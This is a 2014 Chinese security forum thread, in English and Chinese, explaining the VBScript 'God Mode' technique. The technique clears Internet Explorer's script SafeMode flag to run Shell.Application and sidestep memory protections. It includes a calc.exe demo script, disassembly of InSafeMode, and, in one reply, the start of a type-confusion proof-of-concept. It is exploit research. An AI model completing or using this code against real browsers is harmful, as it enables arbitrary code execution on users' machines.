首页
社区
课程
招聘
[原创]How to use VBScript to turn on the God Mode?
发表于: 2014-6-19 19:11 6522

[原创]How to use VBScript to turn on the God Mode?

2014-6-19 19:11
6522

关于Yuange vbscript safemode 介绍及debug :)

牛人可以主动忽略了。


How to use VBScript to turn on the God Mode?
怎么用VB开启仙人模式。。。

What is the God Mode?
什么是神模式?

This concept is came from yuange, it means if we turn on this God Mode, we can do anything we what.
这个概念源于yuange,神模式的意思就是如果我们能开启神模式,我们可以做我们想做的任何事,譬如隐身进女澡堂。

And What the God Mode really is?
那么到底什么是神模式?

We know if we want to execute the script code in the browser to create a object like Shell.Application, the script
engine will check the SafeMode. if this is set, it will block the code. That is the God Mode. Yuange also call this is
DVE(Data Virtual Execution), This is just execute the script, not the binary code. So the ASLR,DEP,EMET,CFI all of
the defense technology will be fail.
我们的目的是在浏览器里通过执行脚本创建一个shell之类的东西。脚本引擎就会对SafeMode(安全模式)进行检查。如果浏览器设置
了安全模式,我们的脚本就不会被执行。这就是神模式的本质。袁哥(一个很厉害的黑客)也把这个叫做DVE(数据虚拟执行),这仅仅只是执行脚本而不是
二进制代码,所以什么ASLR(Address Space Layout Randomization,地址空间随机化),DEP(Data Execution Prevention,数据执行保护),EMET(Enhanced Mitigation Experience Toolkit,增强的缓解体验工具包),CFI(Control-Flow Integrity),所有的这些保护都不是事儿。

What we are going to do is to clear the SafeMode flag.
(Notice: All the following code is vbscript code.)
I will show a demo code first.
我们接下来要做的工作就是去掉SafeMode(下面的代码都是VB脚本,我先做个演示)

"
<script type="text/javascript" language="VBScript">
set sh=createobject("Shell.Application")
sh.ShellExecute "calc.exe"

</script>
"
.text:7327624B ; int __thiscall COleScript::InSafeMode(COleScript *__hidden
this)
.text:7327624B ?InSafeMode@COleScript@@QAEHXZ proc near
.text:7327624B ; CODE XREF: VbsGetObject2(VAR *,int,VAR *)+8Ap
.text:7327624B ; sub_73282607+1Bp ...
.text:7327624B mov eax, [ecx+174h]
.text:73276251 and eax, 0Bh
.text:73276254 neg al
.text:73276256 sbb eax, eax
.text:73276258 neg eax
.text:7327625A retn
.text:7327625A ?InSafeMode@COleScript@@QAEHXZ endp

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (18)
雪    币: 10
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
简直是简明扼要...嘿嘿
2014-6-19 19:16
0
雪    币: 72
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢楼主分享
2014-6-19 20:04
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
4
这种东西,应该配合任意写 的神洞,才体现其完美..... bypass everyxx
2014-6-19 21:01
0
雪    币: 6
活跃值: (1509)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
很少 看直接英文的东西   不过 这个东西 真的很棒  语言简单  思路清晰  没话说  顶起
2014-6-19 21:46
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
6
妥妥的,支持楼主,
2014-6-19 22:34
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
来个翻译版本?
2014-6-20 07:06
0
雪    币: 517
活跃值: (35)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
好歹也译一下,就那几句。
2014-6-20 07:33
0
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
好东西。。赞
2014-6-20 10:18
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
10
收藏先~~
2014-6-20 11:52
0
雪    币: 90
活跃值: (92)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
11
我翻译了一下,感觉原文带有明显的中式英语的味道,翻译起来很爽。我玩browser玩的不行,也不玩VB,失敬之处还请原谅。
上传的附件:
2014-6-20 13:01
0
雪    币: 19
活跃值: (74)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
。。。。yuange怎么用的e文,这么高大上。
2014-6-20 14:27
0
雪    币: 715
活跃值: (3772)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
mark...
2014-6-20 17:55
0
雪    币: 22
活跃值: (443)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
没看明白怎么利用 ....
2014-6-22 12:31
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
好东西!看好VBS、、
2014-6-25 09:43
0
雪    币: 161
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
完整的 ..
We know there is only one VAR type, so it’s easy for us to do the type confusion.
Then I will show a demo poc code from promised_lu.
<script type="text/javascript" language="VBScript">
Class Exploit
Private m_Address
Private m_Array()
Private m_Index
Private Sub Class_Initialize
m_Address = &H08000020
ReDim m_Array((&H08000000 - 32) / 16 - 1)
' first dim a big array.
Fake = Unescape("%u0001ࢀ￿翿")
............
2014-7-1 09:56
0
雪    币: 29
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
果断赞一个,楼主分析的很到位,谢谢!
2014-7-2 18:03
0
雪    币: 500
活跃值: (200)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
18
to PEstone , 其实得把后面poc中的英文翻译翻译,细节都在那个里面了。
2014-7-2 22:56
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
直接用了没成功,有哪个大神用成功了的,可以指导一下吗
2014-8-1 14:52
0
游客
登录 | 注册 方可回帖
返回
//